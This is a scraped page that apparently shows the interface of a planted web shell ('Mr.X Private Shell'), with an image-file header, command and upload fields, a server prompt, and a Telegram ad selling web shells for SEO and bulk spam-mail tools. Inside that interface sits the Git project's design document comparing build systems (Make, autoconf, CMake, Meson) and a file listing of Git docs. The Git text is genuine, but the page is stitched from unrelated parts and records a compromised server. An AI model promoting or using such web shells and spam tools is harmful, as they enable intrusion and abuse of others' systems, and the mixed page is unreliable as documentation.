����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
= Build Systems

The build system is the primary way for both developers and system integrators
to interact with the Git project. As such, being easy to use and extend for
those who are not directly developing Git itself is just as important as other
requirements we have on any potential build system.

This document outlines the different requirements that we have for the build
system and then compares available build systems using these criteria.

== Requirements

The following subsections present a list of requirements that we have for any
potential build system. Sections are sorted by decreasing priority.

=== Platform support

The build system must have support for all of our platforms that we continually
test against as outlined by our platform support policy. These platforms are:

  - Linux
  - Windows
  - macOS

Furthermore, the build system should have support for the following platforms
that generally have somebody running test pipelines against regularly:

  - AIX
  - FreeBSD
  - NetBSD
  - NonStop
  - OpenBSD

The platforms which must be supported by the tool should be aligned with our
platform support policy (see platform-support.adoc).
// once we lose AsciiDoc compatibility, we can start writing the above as:
// xref:platform-support.adoc#platform-support-policy[platform support policy]
// or something like that, but until then....

=== Auto-detection of supported features

The build system must support auto-detection of features which are or aren't
available on the current platform. Platform maintainers should not be required
to manually configure the complete build.

Auto-detection of the following items is considered to be important:

  - Check for the existence of headers.
  - Check for the existence of libraries.
  - Check for the existence of exectuables.
  - Check for the runtime behavior of specific functions.
  - Check for specific link order requirements when multiple libraries are
    involved.

=== Ease of use

The build system should be both easy to use and easy to extend. While this is
naturally a subjective metric it is likely not controversial to say that some
build systems are considerably harder to use than others.

=== IDE support

The build system should integrate with well-known IDEs. Well-known IDEs include:

  - Microsoft Visual Studio
  - Visual Studio Code
  - Xcode

There are four levels of support:

  - Native integration into the IDE.
  - Integration into the IDE via a plugin.
  - Integration into the IDE via generating a project description with the build
    system.
  - No integration.

Native integration is preferable, but integration via either a plugin or by
generating a project description via the build system are considered feasible
alternatives.

Another important distinction is the level of integration. There are two
features that one generally wants to have:

  - Integration of build targets.
  - Automatic setup of features like code completion with detected build
    dependencies.

The first bullet point is the bare minimum, but is not sufficient to be
considered proper integration.

=== Out-of-tree builds

The build system should support out-of-tree builds. Out-of-tree builds allow a
developer to configure multiple different build directories with different
configuration, e.g. one "debug" build and one "release" build.

=== Cross-platform builds

The build system should support cross-platform builds, e.g. building for arm on
an x86-64 host.

=== Language support

The following languages and toolchains are of relevance and should be supported
by the build system:

  - C: the primary compiled language used by Git, must be supported. Relevant
    toolchains are GCC, Clang and MSVC.
  - Rust: candidate as a second compiled lanugage, should be supported. Relevant
    toolchains is the LLVM-based rustc.

Built-in support for the respective languages is preferred over support that
needs to be wired up manually to avoid unnecessary complexity. Native support
includes the following features:

  - Compiling objects.
  - Dependency tracking.
  - Detection of available features.
  - Discovery of relevant toolchains.
  - Linking libraries and executables.
  - Templating placeholders in scripts.

=== Test integration

It should be possible to integrate tests into the build system such that it is
possible to build and test Git within the build system. Features which are nice
to have:

  - Track build-time dependencies for respective tests. Unit tests have
    different requirements than integration tests.
  - Allow filtering of which tests to run.
  - Allow running tests such that utilities like `test_pause` or `debug` work.

== Comparison

The following list of build systems are considered:

- GNU Make
- autoconf
- CMake
- Meson

=== GNU Make

- Platform support: ubitquitous on all platforms, but not well-integrated into Windows.
- Auto-detection: no built-in support for auto-detection of features.
- Ease of use: easy to use, but discovering available options is hard. Makefile
  rules can quickly get out of hand once reaching a certain scope.
- IDE support: execution of Makefile targets is supported by many IDEs
- Out-of-tree builds: supported in theory, not wired up in practice.
- Cross-platform builds: supported in theory, not wired up in practice.
- Language support:
  - C: Limited built-in support, many parts need to be wired up manually.
  - Rust: No built-in support, needs to be wired up manually.
- Test integration: partially supported, many parts need to be wired up
  manually.

=== autoconf

- Platform support: ubiquitous on all platforms, but not well-integrated into Windows.
- Auto-detection: supported.
- Ease of use: easy to use, discovering available options is comparatively
  easy. The autoconf syntax is prohibitively hard to extend though due to its
  complex set of interacting files and the hard-to-understand M4 language.
- IDE support: no integration into IDEs at generation time. The generated
  Makefiles have the same level of support as GNU Make.
- Out-of-tree builds: supported in theory, not wired up in practice.
- Cross-platform builds: supported.
- Language support:
  - C: Limited built-in support, many parts need to be wired up manually.
  - Rust: No built-in support, needs to be wired up manually.
- Test integration: partially supported, many parts need to be wired up
  manually.

=== CMake

- Platform support: not as extensive as GNU Make or autoconf, but all major
  platforms are supported.
  - AIX
  - Cygwin
  - FreeBSD
  - Linux
  - OpenBSD
  - Solaris
  - Windows
  - macOS
- Ease of use: easy to use, discovering available options is not always
  trivial. The scripting language used by CMake is somewhat cumbersome to use,
  but extending CMake build instructions is doable.
- IDE support: natively integrated into Microsoft Visual Studio. Can generate
  project descriptions for Xcode. An extension is available for Visual Studio
  Code. Many other IDEs have plugins for CMake.
- Out-of-tree builds: supported.
- Cross-platform builds: supported.
- Language support:
  - C: Supported for GCC, Clang, MSVC and other toolchains.
  - Rust: No built-in support, needs to be wired up manually.
- Test integration: supported, even though test dependencies are a bit
  cumbersome to use via "test fixtures". Interactive test runs are not
  supported.

=== Meson

- Platform: not as extensive as GNU Make or autoconf, but all major platforms
  and some smaller ones are supported.
  - AIX
  - Cygwin
  - DragonflyBSD
  - FreeBSD
  - Haiku
  - Linux
  - NetBSD
  - OpenBSD
  - Solaris
  - Windows
  - macOS
- Ease of use: easy to use, discovering available options is easy. The
  scripting language is straight-forward to use.
- IDE support: Supports generating build instructions for Xcode and Microsoft
  Visual Studio, a plugin exists for Visual Studio Code.
- Out-of-tree builds: supported.
- Cross-platform builds: supported.
- Language support:
  - C: Supported for GCC, Clang, MSVC and other toolchains.
  - Rust: Supported for rustc.
- Test integration: supported. Interactive tests are supported starting with
  Meson 1.5.0 via the `--interactive` flag.

Filemanager

Name Type Size Permission Actions
api-error-handling.adoc File 3.73 KB 0644
api-error-handling.html File 35.21 KB 0644
api-index-skel.adoc File 432 B 0644
api-index.adoc File 689 B 0644
api-index.html File 30.43 KB 0644
api-index.sh File 714 B 0644
api-merge.adoc File 1.06 KB 0644
api-merge.html File 31.51 KB 0644
api-parse-options.adoc File 13.01 KB 0644
api-parse-options.html File 49.44 KB 0644
api-path-walk.adoc File 3.27 KB 0644
api-path-walk.html File 34.28 KB 0644
api-simple-ipc.adoc File 4.74 KB 0644
api-simple-ipc.html File 35.49 KB 0644
api-trace2.adoc File 43.45 KB 0644
api-trace2.html File 86.12 KB 0644
bitmap-format.adoc File 14.66 KB 0644
bitmap-format.html File 49.31 KB 0644
build-systems.adoc File 7.96 KB 0644
build-systems.html File 41.02 KB 0644
bundle-uri.adoc File 26.12 KB 0644
bundle-uri.html File 63.08 KB 0644
commit-graph.adoc File 17.7 KB 0644
commit-graph.html File 52.61 KB 0644
directory-rename-detection.adoc File 5.08 KB 0644
directory-rename-detection.html File 36.33 KB 0644
hash-function-transition.adoc File 35.45 KB 0644
hash-function-transition.html File 75.42 KB 0644
large-object-promisors.adoc File 26.59 KB 0644
large-object-promisors.html File 62.72 KB 0644
long-running-process-protocol.adoc File 1.88 KB 0644
long-running-process-protocol.html File 32.18 KB 0644
meson.build File 1.49 KB 0644
multi-pack-index.adoc File 11.31 KB 0644
multi-pack-index.html File 44.62 KB 0644
pack-heuristics.adoc File 17.62 KB 0644
pack-heuristics.html File 54.83 KB 0644
packfile-uri.adoc File 3.66 KB 0644
packfile-uri.html File 34.64 KB 0644
parallel-checkout.adoc File 12.01 KB 0644
parallel-checkout.html File 44.27 KB 0644
partial-clone.adoc File 14.59 KB 0644
partial-clone.html File 48.96 KB 0644
platform-support.adoc File 8.95 KB 0644
platform-support.html File 40.71 KB 0644
racy-git.adoc File 8.91 KB 0644
racy-git.html File 41.04 KB 0644
reftable.adoc File 36.65 KB 0644
reftable.html File 86.46 KB 0644
remembering-renames.adoc File 29.71 KB 0644
remembering-renames.html File 65.78 KB 0644
repository-version.adoc File 3.19 KB 0644
repository-version.html File 33.92 KB 0644
rerere.adoc File 6.36 KB 0644
rerere.html File 38.33 KB 0644
scalar.adoc File 2.87 KB 0644
scalar.html File 33.61 KB 0644
send-pack-pipeline.adoc File 1.92 KB 0644
send-pack-pipeline.html File 32.41 KB 0644
shallow.adoc File 2.49 KB 0644
shallow.html File 32.77 KB 0644
sparse-checkout.adoc File 46.68 KB 0644
sparse-checkout.html File 92.36 KB 0644
sparse-index.adoc File 9.28 KB 0644
sparse-index.html File 41.79 KB 0644
trivial-merge.adoc File 4.16 KB 0644
trivial-merge.html File 35.33 KB 0644
unit-tests.adoc File 9.8 KB 0644
unit-tests.html File 50.73 KB 0644